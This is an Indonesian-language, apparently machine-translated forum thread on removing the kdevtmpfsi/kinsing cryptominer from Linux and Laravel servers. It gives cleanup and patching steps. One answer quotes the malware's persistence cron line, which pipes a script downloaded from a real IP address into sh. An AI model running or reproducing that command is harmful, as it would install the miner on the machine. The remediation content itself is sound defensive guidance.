kdevtmpfsi menggunakan seluruh CPU

Solusi yang disebutkan di sini berhasil untuk kami. Anda pada dasarnya membuat file yang digunakan penambang, tanpa hak apa pun, sehingga penambang tidak dapat membuat dan menggunakannya.https://github.com/docker-library/redis/issues/217

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

echo "everything is good here" > /tmp/kdevtmpfsi

echo "everything is good here" > /var/tmp/kinsing

touch /tmp/zzz

echo "everything is good here" > /tmp/zzz

chmod go-rwx /var/tmp

chmod 1777 /tmp

Saya memiliki masalah yang sama dengan Laravel di Centos 8, Ini adalah langkah-langkah yang saya ikuti untuk menghapus malware dan menambal sistem.

Menghapus malware dari langkah-langkah sistem:Langkah 1:

Hapus malware:
Bunuh kedua proses (kdevtmpfsi dan kinsing -Mereka bisa menggunakan nama yang sama tetapi dengan karakter acak di akhir-) menggunakan htop atau manajer proses lainnya.

htop F3 untuk mencari layanan kdevtmpfsi Dan kinsing

Gunakan berikut ini untuk menemukan dan menghapus file:

# find / -iname kdevtmpfsi* -exec rm -fv {} \;
# find / -iname kinsing* -exec rm -fv {} \;

Outputnya akan terlihat seperti:

removed '/tmp/kdevtmpfsi962782589'
removed '/tmp/kdevtmpfsi'
removed '/tmp/kinsing'
removed '/tmp/kinsing_oA1GECLm'

Langkah 2:

Periksa tugas cron:
periksa apakah ada pekerjaan cron yang akan menginisialisasi ulang malware.
Saya menemukan milik saya di:/var/spool/cron/apache>

UBUNTU /var/spool/cron/crontabs/www-data

Itu termasuk yang berikut:
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1

Langkah 3:

Buat file baru dan buat hanya untuk dibaca:

# touch /tmp/kdevtmpfsi && touch /tmp/kinsing
# echo "kdevtmpfsi is fine now" > /tmp/kdevtmpfsi
# echo "kinsing is fine now" > /tmp/kinsing
# chmod 0444 /tmp/kdevtmpfsi
# chmod 0444 /tmp/kinsing

Menambal proyek Laravel:Langkah 1:

Matikan APP_DEBUG:
pastikan APP_DEBUG atributnya adalah false di .env karena itulah cara kerentanan mendapatkan akses.

Langkah 2:

Perbarui pengapian:
Perbarui pengapian ke versi yang lebih tinggi dari 2.5.1 untuk memastikan kerentanan ditambal.
jalankan perintah berikut di folder proyek Anda:

$ composer update facade/ignition

Saya telah berjuang dengan penambang ini selama beberapa hari dan dalam kasus saya itu adalah php-fpm:9000 pelabuhan terbuka.
Saya kira mungkin untuk menyuntikkan beberapa kode dari jarak jauh dengan cara ini.

Jadi jika Anda menggunakan docker dengan php-fpm , JANGAN lari wadah Anda dengan cara ini:

docker run -v /www:/var/www -p 9000:9000 php:7.4

Hapus pemetaan port:-p 9000:9000 .

Jangan lupa untuk membuat ulang &memulai ulang penampung Anda.

Detail selengkapnya di sini:https://github.com/laradock/laradock/issues/2451#issuecomment-577722571